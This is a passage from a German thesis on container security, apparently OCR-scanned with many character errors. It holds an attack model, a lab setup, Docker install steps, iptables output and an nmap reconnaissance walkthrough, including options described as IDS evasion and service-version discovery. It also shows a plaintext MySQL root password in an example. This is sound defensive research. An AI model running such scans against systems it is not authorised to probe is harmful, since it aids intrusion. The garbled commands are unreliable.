Die Quellen von Paketen und Images (siehe Unterabschnitt 3.5.1, Seite 64), die Verwen-
dung von Konfigurationsvorlagen fiir Container (siehe Unterabschnitt 3.5.3, Seite 68)
sowie die Ausfilhrung von Analyseskripten (siehe Unterabschnitt 3.6.1, Seite 71) bediirfen
einer sorgfaltigen Auswahl und regelmaBiger Priifung jeder einzelnen Aktualisierung.

Es muss gewahrleistet werden, dass der Verbindungsaufbau zu Repositories nicht durch
Manipulation der Namensauflésung umgeleitet werden kann. Das trifft jedoch nicht nur
auf Container-Infrastrukturen zu, sondern auch auf alle anderen Systeme. Denn durch
Programm- und Sicherheitsaktualisierungen konnen unerwiinschte Zusatzfunktionen
eingeschleust werden, Komplikationen und Fehler entstehen oder sich wiederum neue
Sicherheitsliicken ergeben.

Die Isolierung von Container lasst sich mit Linux-Sicherheitsfunktionen und verschie-
denen Sicherheitsprogramme verstarken (siehe Unterabschnitt 3.6.2, Seite 72). Dafiir
ist ein erhohter Verwaltungsaufwand notwendig, jedoch kann damit fiir Container eine
vergleichbare Isolation erreicht werden, wie es bei einer virtuellen Maschine der Fall ist.
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4.3 Fazit 4 Zusammenfassung

4.2 Kritische Einschatzung

Eine zeitliche Herausforderung war die Einarbeitung in das notwendige Fachwissen der ver-
schiedenen Bereiche. Von der Netzwerkadministration tber die IT-Systemadministration,
von der Programmierung lber die Grundlagen der Kernelfunktionen bis hin zu Vorgehens-
weisen, Methoden und Werkzeugen von Angreifenden. Neben den technischen Aspekten
waren auch organisatorische Aspekte als Angriffsvektoren zu betrachten.

Ein Teil der identifizierten Angriffsvektoren beziehen sich nicht ausschlieBlich nur auf
Container-Infrastrukturen. Eine Untersuchung dieser fand dennoch statt, da diese An-
griffsvektoren einen negativen Einfluss auf die Sicherheit von Containern haben konnen.

In dieser Arbeit wurden nicht alle bekannten und denkbaren Angriffsvektoren untersucht.
Eine Forschung nach unbekannten Vektoren fand nicht statt. Durch Beobachtung der
Entwicklung verschiedener Cyberangriffe und Auswertungen entsprechender Statistiken
kann festgestellt werden, dass mit an Sicherheit grenzender Wahrscheinlichkeit weitere
Vektoren existieren oder entstehen. Jede ausgearbeitete SchutzmaBnahme sollte iberpriift
und gegebenenfalls an die eigene Systemkonfigurationen angepasst werden.

4.3 Fazit

Die zunehmende Verbreitung von Virtualisierungslosungen zeigt die hohe Relevanz
der Thematik auf. In dieser Forschungsarbeit wurden potenzielle Angriffsvektoren auf
Container-Infrastrukturen identifiziert und mogliche SchutzmaBnahmen ausgearbeitet.

Die Ergebnisse zeigen mit einem beispielhaften Angriffsmodell, wie durch Informationen
gewinnen, Zugriff erzwingen, Privilegien ausbauen, MaBnahmen durchfiihren und Spuren
verwischen auf ein Container gewirkt werden kann. Damit steigt das Risiko zur Preisgabe
und Veranderung schitzenswerter Daten sowie durch schadliches Einwirken auf die
restliche I T-Infrastruktur oder andere Container.

Nach der Auswertung aller Untersuchungsergebnisse konnte festgestellt werden, dass fiir
alle identifizierten Angriffsvektoren mindestens eine SchutzmaBnahme existiert. Dabei
wurde aufgezeigt, wie potenzielle Angriffe verhindert oder erschwert werden konnen.

Mit Ausblick fiir zukinftige Forschungen kann ein Intrusion Detection System (IDS)
zur Angriffserkennung, ein Intrusion Prevention System (IPS) zur Angriffsabwehr, eine
Demilitarisierte Zone (DMZ) oder auch Manipulationsschutz (software tamper-proofing)
als SchutzmaBnahmen fiir Container-Infrastrukturen in Betracht kommen. An Bedeutung
kénnten auch Bedrohungen wie Economic Denial of Sustainability (EDoS) zunehmen.
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Anhang A Angriffsmodell

Angriff initiiert

Informationen gewinnen

Angriffsvektoren
Informationen gewinnen

Zugriff erzwingen

Angriffsvektoren
Zugriff erzwingen

erfolgreich?

nein

weitere
Informationen
ja notwendig?

nein _
ja

Privilegien ausbauen

Angriffsvektoren
Privilegien ausbauen )
nein

weitere
- Zugriffe
nein notwendig?

nein

nein
weitere
Informationen

W
notwendig?

Zugriffe
notwendig? p
Ja

erfolgreich?

MaRnahmen durchfiihren
Angriffsvektoren
. MaRnahmen durchfiihren ) )
nein nein nein
weitere weitere weitere
Privilegien erfolgreich? - Privilegien - Informationen -
notwendig? p nein notwendig? Ja notwendig? Ja
ja
Spuren verwischen Legende:
Beginn/Ende
I Angriffsvektoren I
nein spuren verwischen Tatigkeit/Operation
weitere
MaRnahmen erfolgreich?
ja notwendig? nein _
ja
Verzweigung
Angriff beendet
_ >
Richtungsangabe

Abb. A.1 Angriffsmodell von Cyberangriffen (Beispiel, groB) [AbbT_ 5l [VTZ]
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Anhang C Testumgebung

Fir die Untersuchungen wird eine Testumgebung (Standardinstallationen) umgesetzt:

« Aufl. C.1
» Aufl. C.2
« Aufl. C3
= Aufl. C4

(siehe Seite C-79)
(siehe Seite C-80)
Containervirtualisierung installieren  (siehe Seite C-81)
(siehe Seite C-82)

Virtuelle Maschinen installieren
Docker-Dokumentationen

Container instanziieren
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C Testumgebung

Virtuelle Maschinen installieren

#*

Aufl. C.1 Virtuelle Maschinen installieren [, " ol [, ]

VIRTUALISIERUNGSSOFTWARE

Testumgebung
Version:
Erweiterung:
NAT-Netzwerk:

VIRTUELLE MASCHINE 1
Untersuchungsmaschine

Name :

Version:
Hauptspeicher:
Prozessoren:
Grafikspeicher:
Festplatte:

Netzwerk:

IP-Adresse (enp0s3):
IP-Adresse (docker0):
Aktualisierungen:
Privilegierte Konten:

Unprivilegierte Konten:

05.06.2021, 09:00 - 10:00

"VirtualBox 6.1.22"
"Extension Pack 6.1.22"
"Testumgebung"

05.06.2021, 09:00 - 10:00

"Docker"

"Ubuntu (64-bit)"

"4096 MB"

"2 CPU"

128 MB"

"20 GB (dynamisch)"

"NAT-Netzwerk", "Testumgebung"
"10.0.2.5/2"

"172.17.0.1/16"

"Automatisch installieren deaktiviert"
"root"

"ubuntu", "amelie", "sophia", "hannes", "vektor"

Softwarestand (05.06.2021) :

Betriebssystem:
Gasterweiterungen:
Docker:

MySQL Workbench:

"Ubuntu 20.04.2 LTS"

"6.1.22"

"Docker version 20.10.7, build f0df350"

"MySQL Workbench CE (GPL) 8.0.24 CE build 972499"

Softwarestand (29.08.2021) :

Betriebssystem:
Gasterweiterungen:
Docker:

MySQL Workbench:

VIRTUELLE MASCHINE 2
Angriffsmaschine
Name:

Version:
Hauptspeicher:
Prozessoren:
Grafikspeicher:
Festplatte:
Netzwerk:
Betriebssystem:
Gasterweiterungen:
IP-Adresse (ethO):
Aktualisierungen:

"Ubuntu 20.04.3 LTS"

"6.1.26"

"Docker version 20.10.8, build 3967b7d"

"MySQL Workbench CE (GPL) 8.0.26 CE build 972499"

05.06.2021, 19:00 - 10:00

"Kali-Linux"

"Debian (64-bit)"

"4096 MB"

"2 CPU"

"128 MB"

"80 GB (dynamisch)"
"NAT-Netzwerk", "Testumgebung"
"Kali GNU/Linux Rolling 2021.2"
"6.1.22"

"10.0.2.6/24"

"Automatisch installieren deaktiviert"
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C Testumgebung

Docker-Dokumentationen

Aufl. C.2 Docker-Dokumentationen [, I ][]

Allgemein:

Container
Dokumentation
Uberblick
Installation
Referenz run
Befehlszeile
Rootless Mode

Befehle:

docker (Basisbefehl)
exec

images

info

ps

pull

rm

run

https:
https:
https:
://docs.

https

https:
https:
://docs.

https

https

https:
https:
https:
https:
https:
https:
https:

://docs.

//hub.docker.com
//docs.
//docs.

docker.com
docker
docker
//docs.

//docs.

docker
docker.
docker

docker
//docs.
//docs.
//docs.
//docs.
//docs.
//docs.
//docs.

docker.
docker.
docker.
docker.
docker.
docker.
docker

.com/. .
.com/ . .
.com/ ..
com/ . .
.com/ ..

.com/ ..
com/ . .
com/. .
com/. .
com/ . .
com/ . .
com/ . .
.com/. .

./overview/
./install/
./reference/run/
./commandline/cli/
./rootless/

./docker/
./exec/
./images/
./info/
./ps/
./pull/
./rm/
./run/
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https://hub.docker.com
https://docs.docker.com
https://docs.docker.com/get-started/overview/
https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository
https://docs.docker.com/engine/reference/run/
https://docs.docker.com/engine/reference/commandline/cli/
https://docs.docker.com/engine/security/rootless/
https://docs.docker.com/engine/reference/commandline/docker/
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https://docs.docker.com/engine/reference/commandline/info/
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https://docs.docker.com/engine/reference/commandline/rm/
https://docs.docker.com/engine/reference/commandline/run/
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C Testumgebung

Containervirtualisierung installieren

Aufl. C.3 Containervirtualisierung installieren [41, 42, 43, 95] [Ang_ ol [VTZ]

# EINRICHTEN DES REPOSITORIE _____________________ 05.06.2021, 11:00 - 12:30
# Paketlisten aktualisieren und apt die Verwendung von HTTPS ermoeglichen
sudo apt-get update

sudo apt-get install apt-transport-https ca-certificates curl gnupg lsb-release

# Offiziellen GPG-Schluessel wvon Docker laden und hinzufuegen
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

# Stabile Repository einrichten

echo "deb [arch=amd64

— signed-by=/usr/share/keyrings/docker-archive-keyring.gpg]

— https://download.docker.com/linux/ubuntu $(1lsb_release -cs) stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# DOCKER-ENGINE INSTALLIEREN _ & & i
# Paketlisten aktualisteren und neuste Version won Docker installieren
apt-get update

apt-get install docker-ce docker-ce-cli containerd.io

# Installation der Docker-Engine testen
docker run hello-world

# SCHRITTE NACH DER INSTALLATION FUER LINUX

# Verwalten von Docker als Nicht-Root-Benutzer:

H*

https://docs.docker.com/engine/install/linuz-postinstall/

SICHERHEITSHINWEISE - WARNUNG:

Das Ausfuehren von Containern (und Anwendungen) mit Docker impliziert die
Ausfuehrung des Docker-Daemons. Der Daemon erfordert root-Berechtigungen,
es set denn, der Rootless-Modus wird aktiviert.

Die Docker-Gruppe gewaehrt die gleichen Rechte wie das Konto root.

Dies kann sich auf die Sicherheit des Systems auswirken.

Nur vertrauenswuerdige Personen sollten den Docker-Daemon steuern duerfen.

HOH R R W W R R

https://docs.docker.com/engine/security/#docker-daemon-attack-surface

*H

Docker kann ohne Root-Rechte ausgefuehrt werden (Rootless-Mode):
# https://docs.docker.com/engine/security/rootless/

# Konto "ubuntu" zu Gruppe "docker" hinzufuegen,

# um nicht dauerhaft mit privilegierten Konto (root) zu arbeiten
# Neustart, damit Aenderungen an den Rechten wirksam werden

sudo usermod -aG docker ubuntu && reboot
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Container instanziieren

Aufl. C.4 Container instanziieren [24] [Ang. o [VTZ]

# DOCKER-CONTAINER EINRICHTEN ____________________ 05.06.2021, 13:00 - 13:30
# Docker-Befehle

docker info Systeminformationen
docker pull <ImageName>:<Version> Image herunterlagen
docker images Images anzeigen (lokal)
docker run <ImageName>[:<Version>] Containerprozess tsolieren (1)
docker rm <ContainerName> Container loeschen

Container starten oder stoppen

Befehl in Container ausfuehren

docker [start|stop] <ContainerName>

#
#
#
#
docker ps [-a] # Container anzeigen
#
#
docker exec -it <ContainerName> <Befehl> #

# (1) Containerprozess wverfuegt ueber:

# - eigenes Dateisystem,
# - eigenes Netzwerk und
# - eigenen isolierten Prozessbaum, der vom Host getrennt ist.

# Docker—-Image herunterladen
docker pull mysql:latest

# Docker—Container instanziieren

docker run \

--name my-rdbs \

-p 3305:3306 \

-v  /home/ubuntu/docker/mysql/data:/var/lib/mysql \
-e MYSQL_ROOT_PASSWORD="m31nNeuesPa22wOrd" \
mysql:latest

# —--name <ContainerName>

# -p <Port des Hosts>:<Port des Containers>

# -v <Verzeichnis des Host>:<Verzeichnis des Containers>
# -e MYSQL_ROOT_PASSWORD=<Passwort>

# <ImageName>:<Version>
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Anhang D Untersuchung: Firewall

Tabellen, Ketten und Regeln. Die Beschreibungen zu den Tabellen, Ketten und
Regeln wurden aus verschiedenen Quellen [64, 96, 97] zusammengetragen.

tables (Tabellen) beschreiben die Art der Verarbeitung von Netzwerkpaketen.

» mangle (Paketmanipulationen): enthilt alle Ketten

— ermoglicht es dem Kernel, Daten im Paket-Header zu verandern
= nat (Network Address Translation): enthalt die Ketten:

— PREROUTING, OUTPUT und POSTROUTING

— ubersetzt interne und externe |P-Adressen

— andert die IP-Adresse und/oder den Port des Ziels
» filter (Paketfilter): enthalt die Ketten:

— FORWARD, INPUT und OUTPUT

— prift alle fir die Firewall ankommenden Pakete

— entscheidet, ob Pakete durchgelassen oder geblockt werden

chains (Ketten) sind Regelsammlungen (= Hooks ) zur IP-Paketbehandlung®!.

PREROUTING °: alle Pakete werden hier behandelt, bevor eine Routing-Entscheidung

getroffen wird

=  FORWARD 3: fiir alle Pakete, die von einer zur anderen Netzwerkschnittstelle
weitergeleitet werden - keine Pakete, die an lokale Dienste gerichtet sind

= INPUT °3: fiir Pakete die iiber eine Schnittstelle hereinkommen und einen Dienst
auf dem Rechner ansprechen

= QUTPUT °3: fiir die {iber eine Schnittstelle herausgehenden Pakete, die von einem

lokalen Dienst kommen
POSTROUTING °?: alle Pakete kommen am Ende der Verarbeitung hier durch
DOCKER , DOCKER-USER : Beispiele fiir individuelle Ketten

51 Manche Ketten werden von allen Paketen durchlaufen, andere nur in Abhingigkeit eines definierten
Ziels. Die Regeln einer Kette werden nacheinander abgearbeitet. Trifft eine Regel zu, ist die Bearbeitung
in dieser Kette beendet, wobei es Ausnahmen gibt. [64]

52 PRE- und POSTROUTING kdnnen Pakete manipulieren (mangle und/oder nat), aber nicht filtern. [64]

53 FORWARD, INPUT und OUTPUT besitzen je eine Standardregel die immer dann angewendet wird,
wenn keine andere Regel in der jeweiligen Kette vorhanden ist oder zutrifft. [64]
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D Untersuchung: Firewall

rules (Regeln) sind Kettenglieder und entscheiden iiber die Paketbehandlung®.

= ACCEPT : Paket wird durchgelassen

» REJECT : Paket wird zurlickgewiesen und ein Fehlerpaket gesendet
» DROP : Paket wird ignoriert und keine Antwort gesendet

= SNAT / DNAT : Andern der Quelladresse / Zieladresse

» MASQUERADE : Andern der Quelldresse auf die lokale IP-Adresse

» REDIRECT : Andern der Zieladresse auf die lokale IP-Adresse

= RETURN : Uberpriifung anhalten und mit nichster Kette fortfahren®®
» LOG: Eintrag in die syslog schreiben

» DOCKER : Beispiel fiir einen Kettenaufruf als target (Ziel)**

54 Jede Regel besitzt Parameter nach denen iiberpriift wird, ob die Paketinformationen zutreffen. Treffen
die Parameter zu, wird das Paket an ein neues Ziel gesendet (Handlungen, z. B. akzeptieren, verwerfen,
protokollieren oder an eine andere Kette libergeben) oder eine Methode (z. B. dndern der Quell-
/Zieladresse) angewendet. Es gibt weitere Ziele und Methoden (Policy) fiir die Paketbehandlung. [64]

5 RETURN bedeutet, dass das Durchlaufen dieser Kette gestoppt und mit der nichsten Regel in der
vorherigen (aufrufenden) Kette fortgesetzt wird. Wenn das Ende einer eingebauten Kette erreicht
wird oder eine Regel in einer eingebauten Kette mit dem Ziel RETURN erfillt wird, bestimmt das in
der Kettenrichtlinie angegebene Ziel den Verbleib des Pakets. [62]
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D Untersuchung: Firewall

Aufl. D.1 Untersuchung: Firewall [65] [AuﬂT 31 [\, ]

# SZENARIO 08.09.2021, 16:00 - 18:00

- Ueberpruefung der Netfilter-Tabellen mit iptables

# VORAUSSETZUNGEN ___ _ _ _ __ _ _
- Installierte Pakete:

- Netfilter

- iptables

- Docker-Engine

- Docker-Container instanziiert

# UNTERSUCHUNG

# Firewalltabellen mit iptables anzeigen
ubuntu@vm: ~$ sudo iptables --list -t mangle

Chain PREROUTING (policy ACCEPT)

target prot opt source destination

Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain QUTPUT (policy ACCEPT)
target prot opt source destination

Chain POSTROUTING (policy ACCEPT)
target prot opt source destination

ubuntu@vm:~$ sudo iptables --list -t nat

Chain PREROUTING (policy ACCEPT)

target prot opt source destination

DOCKER all -- anywhere anywhere  ADDRTYPE match dst-type LOCAL

Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

DOCKER all -- anywhere !localhost/8 ADDRTYPE match dst-type LOCAL

Chain POSTROUTING (policy ACCEPT)

target prot opt source destination
MASQUERADE all -- 172.17.0.0/16 anywhere
MASQUERADE tcp -- 172.17.0.2 172.17.0.2 tcp dpt:mysql

Chain DOCKER (2 references)
target prot opt source destination
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D Untersuchung: Firewall

RETURN all -- anywhere anywhere
DNAT tcp -- anywhere anywhere tcp dpt:3305 to0:172.17.0.2:3306

ubuntu@vm: ~$ sudo iptables --list -t filter
Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy DROP)

target prot opt source destination

DOCKER-USER all -- anywhere anywhere
DOCKER-ISOLATION-STAGE-1 all -- anywhere anywhere
ACCEPT all -- anywhere anywhere ctstate
— RELATED,ESTABLISHED

DOCKER all -- anywhere anywhere

ACCEPT all -- anywhere anywhere

ACCEPT all -- anywhere anywhere

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain DOCKER (1 references)
target prot opt source destination

ACCEPT tcp -- anywhere 172.17.0.2 tcp dpt:mysql

Chain DOCKER-ISOLATION-STAGE-1 (1 references)

target prot opt source destination
DOCKER-ISOLATION-STAGE-2 all -- anywhere anywhere
RETURN all -- anywhere anywhere

Chain DOCKER-ISOLATION-STAGE-2 (1 references)

target prot opt source destination
DROP all -- anywhere anywhere
RETURN all -- anywhere anywhere

Chain DOCKER-USER (1 references)
target prot opt source destination
RETURN all -- anywhere anywhere

# ERGEBNISSE

Keine Auffaelligkeiten

H*

DISKUSSION _ _ _ _ _ _
Keine Auffaelligkeiten

# ZUSAMMENFASSUNG

Keine Auffaelligkeiten
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Anhang E Untersuchung: Scanner

Port-Zustande. Nmap gilt als effizienter Port-Scanner. Der Befehl nmap <target> scannt die am
haufigsten verwendeten 1000 TCP-Ports auf dem Host <target> und klassifiziert jeden Port in
einen der nachfolgenden sechs Port-Zustande. , Diese Zustdnde sind keine echten Eigenschaften eines
Ports selbst, sondern beschreiben, wie Nmap ihn sieht. Ein Nmap-Scan, bei dem z. B. Ausgangs- und
Zielnetzwerk identisch sind, kénnte Port 135/tcp als offen anzeigen, wahrend ein Scan zur selben

Zeit mit denselben Optionen lber das Internet diesen Port als gefiltert anzeigen konnte [67]

offen : , Ein Programm ist bereit, TCP-Verbindungen oder UDP-Pakete auf diesem Port anzunehmen.
Beim Port-Scanning ist es oftmals das Ziel, solche Ports zu finden. Sicherheitsbewusste Leute wissen,
dass jeder offene Port eine breite Einfahrtstrasse fiir Angriffe darstellt. Angreifer und Penetrationstester
wollen offene Ports ausbeuten (engl. exploit), wahrend Administratoren versuchen, sie zu schlieBen oder
mit Firewalls zu schiitzen, ohne legitime Benutzer zu behindern." [67]

geschlossen : ,Ein geschlossener Port ist erreichbar (er empfangt und antwortet auf Nmap-Testpakete),
aber es gibt kein Programm, das ihn abhort. Er kann von Nutzen sein, um zu zeigen, dass ein Host
online ist und eine IP-Adresse benutzt (Host-Erkennung oder Ping-Scanning), sowie als Teil der Be-
triebssystemerkennung. Weil geschlossene Ports erreichbar sind, sind sie es wert, gescannt zu werden,
falls sie spater einmal geodffnet werden sollten. Administratoren méchten solche Ports vielleicht mit einer
Firewall blockieren, damit sie im Zustand gefiltert erscheinen, der als Néchstes beschrieben wird." [67]

gefiltert : ,Nmap kann nicht feststellen, ob der Port offen ist, weil eine Paketfilterung verhindert,
dass seine Testpakete den Port erreichen. Die Filterung kdnnte durch dafiir vorgesehene Firewall-
Geréte, Router-Regeln oder hostbasierte Firewall-Software erfolgen. Weil sie so wenig Information
bringen, sind diese Ports fiir Angreifer frustrierend. Manchmal antworten sie mit ICMP-Fehlermeldungen
wie Typ 3, Code 13 (Destination Unreachable: Communication Administratively Prohibited), aber
Filter, die Testpakete ohne Antwort einfach verwerfen, kommen wesentlich haufiger vor. Das zwingt
Nmap zu mehreren wiederholten Versuchen, um auszuschlieBen, dass das Testpaket wegen einer
Netzwerkiiberlastung statt durch eine Filterung verworfen wurde. Diese Art der Filterung verlangsamt
einen Scan dramatisch.” [67]

ungefiltert : ,Der Zustand ungefiltert bedeutet, dass ein Port zuganglich ist, aber Nmap nicht
feststellen kann, ob er offen oder geschlossen ist. Nur der ACK-Scan, der benutzt wird, um Firewall-
Regelwerke zu bestimmen, klassifiziert Ports in diesen Zustand. Um festzustellen, ob ein ungefilterter
Port offen ist, kann es hilfreich sein, ihn mit anderen Scan-Methoden wie Window-Scan, SYN-Scan
oder FIN-Scan zuscannen.” [67]

offen|gefiltert : ,,Nmap klassifiziert einen Port in diesen Zustand, wenn es nicht feststellen kann,
ob der Port offen oder gefiltert ist. Das kommt bei Scan-Methoden vor, in denen offene Ports keine
Antwort geben. Das Fehlen einer Antwort kénnte auch bedeuten, dass ein Paketfilter das Testpaket
verworfen hat oder dass keine Antwort provoziert werden konnte. Deswegen weiB Nmap nicht sicher,
ob der Port offen ist oder gefiltert wird. Ports werden von den UDP-, IP-Protokoll-, FIN-, NULL- und
Xmas-Scans auf diese Weise klassifiziert." [67]

geschlossen|gefiltert : ,Dieser Zustand wird benutzt, wenn Nmap nicht feststellen kann, ob ein

Port geschlossen ist oder gefiltert wird. Er wird nur vom IP-ID-Idle-Scan benutzt." [67]
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E Untersuchung: Scanner

Aufl. E.1 Untersuchung: Scanner [66, 98] [AuﬂT_ 30 [VTZ]

# SZENARIO _ _ 08.09.2021, 16:00 - 18:00
- Angreifende moechten Informationen ueber Untersuchungsmaschine gewinnen
- Angreifende fuehren unkompliziertes Scannen ohne Verschleierung durch

- Angreifende gehen aggresiv vor

# VORAUSSETZUNGEN

- Untersuchungsmaschine (U) muss von Angriffsmaschine (A) erreichbar sein

Untersuchungsmaschine (U) hat keine Vorkehrungen zur Abwehr getroffen

# HYPOTHESE __
1. Angreifende koennen Informationen gewissen ueber:

Ports (z. B. offen, geschlossen),

Betriebssystemversion (z. B. Kernelversion, Betriebssystemversion),

Softwareversionen (z. B. Webserver, Docker, Containeranwendungen)

# NMAP-GRUNDLAGEN

SYNTAX
nmap [Scantechnik] [Optionen] {Ziele}
SCANTECHNIKEN

#

#

#

#

#

#

#

# -sT Connect Scan (ohne Root-Rechte moeglich):

# Pro zu scannendem Port wird eine TCP-Verbindung auf-/abgebaut
# -sS SYN-Stealth-Scan (Standard bei Root-Rechten):

# Wie -sT; ohne komplette TCP-Verbindung, daher unauffaelliger
# -sU UDP-Ports statt TCP-Ports scannen

# -sn Ping-Scan:

# Prueft nur auf Erreichbarkeit ueber

# ICMP-Echo-Request,

# TCP-SYN-Paket auf Port 443,

# TCP-ACK-Paket auf Port 80 und

# ICMP-Timestamp-Request.

# Testet ganze Netzbereiche auf aktive Hosts.

# Ohne Root-Rechte nur SYN-Pakete auf Port 80 und 443.

#
#
#
#
#
#
#
#
#
#
#

-sF, -sN, -sX
Sendet an die Zielports bewusst manipulierte/falsche TCP-Pakete.
Anhand der Reaktion des Ports/des Servers lassen sich ggf.
Rueckschluesse ziehen, ob der Port offen oder von einer Firewall
geschuetzt ist. Im Vergleich zu —-sT oder -sR unauffaelliger.
-s4, -sW
Auch zum Testen, ob ein Port offen/geschlossen/geschuetzt ist.
Besonders gut zum Erkennen von Firewalls.

OPTIONEN
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HOH R R W OH OH R OFH W K OFH R OW W OH KR OW W OH KRR W OH R OR W OW WKW W OH R OR W OW R OR W OW W OROR W OW W R R W

-TO
-T1
-T2
-T3
_T4
-T5

-F

AGGREGIERTE ZEITSTEUERUNGSOPTIONEN

(paranoid) langsamer als sneaky; zur IDS-Umgehung

(sneaky) langsamer als polite; zur IDS-Umgehung

(polite) langsamer als mormal; verbraucht weniger Bandbreite
(normal) dynamisch; basiert auf Reaktionsfahigkeit des Ziels
(aggressive) kann Ziele ueberfordern, da schneller als normal
(insane) kann Ziele ueberfordern oder offene Ports wverfehlen

-T2 ist etwa 10z langsamer als -T3.
-T4 und -T5 setzen ein zuverlaessiges Netzwerk voraus.
PORTS

Keine Angabe won Ports scannt die 1000 bekanntesten
Scannt die 100 bekanntesten Ports (nmap-services)

-—top-ports <n> Scannt die n bekanntesten Ports

-r Linearer scan (keine zufaellig Portreihenfolge)

-p5-10 Portbereich (hier Port 5 bis 10)

-p5,10 Portliste  (hier Port 5 und 10)

-p-65535 Ohne Portbeginn, beginnt Scan bei Port 1

-p0- Ohne Portende, endet Scan bei Port 65535

-p- Alle Ports scannen (1-65535)
BETRIEBSSYSTEM- UND VERSIONSERKENNUNG

-SR Wird ein Remote—-Procedure-Call-(RPC)-Dienst erkannt, werden
zusaetzliche RPC-Pakete gesendet, um so gegebenenfalls weitere
Informationen zum Dienst auf den betreffenden Port zu finden.

-sV Zusaetzliche Tests zur Identifikation der Dienste auf den Ports
(beinhaltet -sR)

-0 OS-Detection: Erkennung des Betriebssystems ueber
Eigenarten deren Netzwerkimplementierungen

-4 Kurzform fuer -sV -0
WEITERE

-Pn Schaltet ab, dass vor Portscan automatisch ueberprueft wird,
ob das Ziel exwistiert und online ist (siehe Scantechnik -sn).
Wird bei Zielen benoetigt, auf denen kein Webserver laeuft und
delche einen Ping durch z. B. Firewalls blockieren.

-v Gibt zusaetzliche Informationen waehrend des Scans aus.

SKRIPTE

—--script <Skriptname> (/usr/share/nmap/scripts)

Fuehrt komplexze Skripte aus und kann eingesetzt werden fuer:
Erweiterte Informationen zu einem Port

Brute-Force-Angriffe

Schwachstellenanalyse
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E Untersuchung: Scanner

# UNTERSUCHUNG _

# (U) Container starten
ubuntu@vm: ~$ docker start my-rdbs

# (A) nmap starten (Ports bekannt, OS-Detection)

kali@kali:~$ sudo nmap -T4 -p80,3305 -0 10.0.2.15

Starting Nmap 7.91 ( https://mmap.org ) at 2021-09-08 18:25 CEST
Nmap scan report for 10.0.2.15

Host is up (0.00083s latency) .

PORT STATE SERVICE

80/tcp open http

3305/tcp open odette-ftp

MAC Address: 08:00:27:75:91:C7 (Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1
— open and 1 closed port

Device type: general purpose

Running: Linux 4.X|5.X

0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.6

Network Distance: 1 hop

# (4) nmap starten (Ports unbekannt, OS-Detection)

kali@kali:~$ sudo nmap -T4 -p- -0 10.0.2.15

Starting Nmap 7.91 ( https://mmap.org ) at 2021-09-08 18:25 CEST
Nmap scan report for 10.0.2.15

Host is up (0.0011s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE

80/tcp open http

3305/tcp open odette-ftp

MAC Address: 08:00:27:75:91:C7 (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 4.X|5.X

0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.6

Network Distance: 1 hop

# (A) nmap starten (Ports unbekannt, 0S-Detection und Dienstetidentifikation)
kali@kali:~$ sudo nmap -T4 -p- -A 10.0.2.15

Starting Nmap 7.91 ( https://mmap.org ) at 2021-09-08 19:17 CEST
Nmap scan report for 10.0.2.15

Host is up (0.0010s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

| _http-server-header: Apache/2.4.41 (Ubuntu)

| _http-title: Apache2 Ubuntu Default Page: It works

3305/tcp open mysql  MySQL 8.0.25

| mysql-info:

|  Protocol: 10
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Version: 8.0.25

Thread ID: 14

Capabilities flags: 65535

Some Capabilities: Speaks41Protocol0ld, SupportsTransactions,

InteractiveClient, Support4lAuth, SupportsCompression,
ConnectWithDatabase, SupportsLoadDatalocal, Speaks41ProtocolNew,
SwitchToSSLAfterHandshake, IgnoreSigpipes, 0ODBCClient,
IgnoreSpaceBeforeParenthesis, FoundRows, DontAllowDatabaseTableColumn,
LongColumnFlag, LongPassword, SupportsMultipleResults,

O

SupportsMultipleStatments, SupportsAuthPlugins
Status: Autocommit

Salt: \x11\x08>0\x17y{CG=+\x06DQb{v4~\x03\x7F
Auth Plugin Name: caching_sha2_password

ssl-cert: Subject:

— commonName=MySQL_Server_8.0.25_Auto_Generated_Server_Certificate
| Not valid before: 2021-06-05T10:43:10

| _Not valid after: 2031-06-03T10:43:10

| _ssl-date: TLS randomness does not represent time

MAC Address: 08:00:27:75:91:C7 (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 4.X|5.X

0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.6

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 1.00 ms 10.0.2.15

# ERGEBNISSE
- Scans mit 0S-Detection ergeben:

Port "80/tcp" offen,

Port "3305/tcp" offen und

Betriebssystemdetails "Linux 4.15 - 5.6"
- Scans mit 0S-Detection und Diensteidentifikation ergeben zusatzlich:

Port "80/tcp" offen, Serviceversion "Apache httpd 2.4.41 (Ubuntu)" und

Port "3305/tcp" offen, Serviceversion "MySQL 8.0.25" inkl. Capabilities

# DISKUSSION
- Versionsinformationen erleichtern das Finden geigneter Exploits
- Ausgabe der Capabilities kann Auswahl von Angriffsvektoren einschraenken

- Angreifende koennten so schneller geeignete Angriffsvektoren finden

# ZUSAMMENFASSUNG

- Scan liefert Informationen, die wesentlich fuer erfolgreiche Angriffe sind
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Anhang F Untersuchung:
Dateiberechtigungen

Aufl. F.1 Untersuchung: Dateiberechtigungen [AuﬂT 26l Lot 37 Lt 3.8) [VTZ]

H*

SZENARIO (fiktiv) ____ __ o ___ 20.07.2021, 13:00 - 15:00
Angreifende haben Zugriff auf System erhalten (beliebiger Vektor)
- Angreifende moechten Dateien uebernehmen

Angreifende versuchen, dies durch Erbeutung von UID/GID durchzufuehren

# HYPOTHESE _ __ _ _
1. Nach loeschen eines Kontos wird dessen UID/GID wieder frei

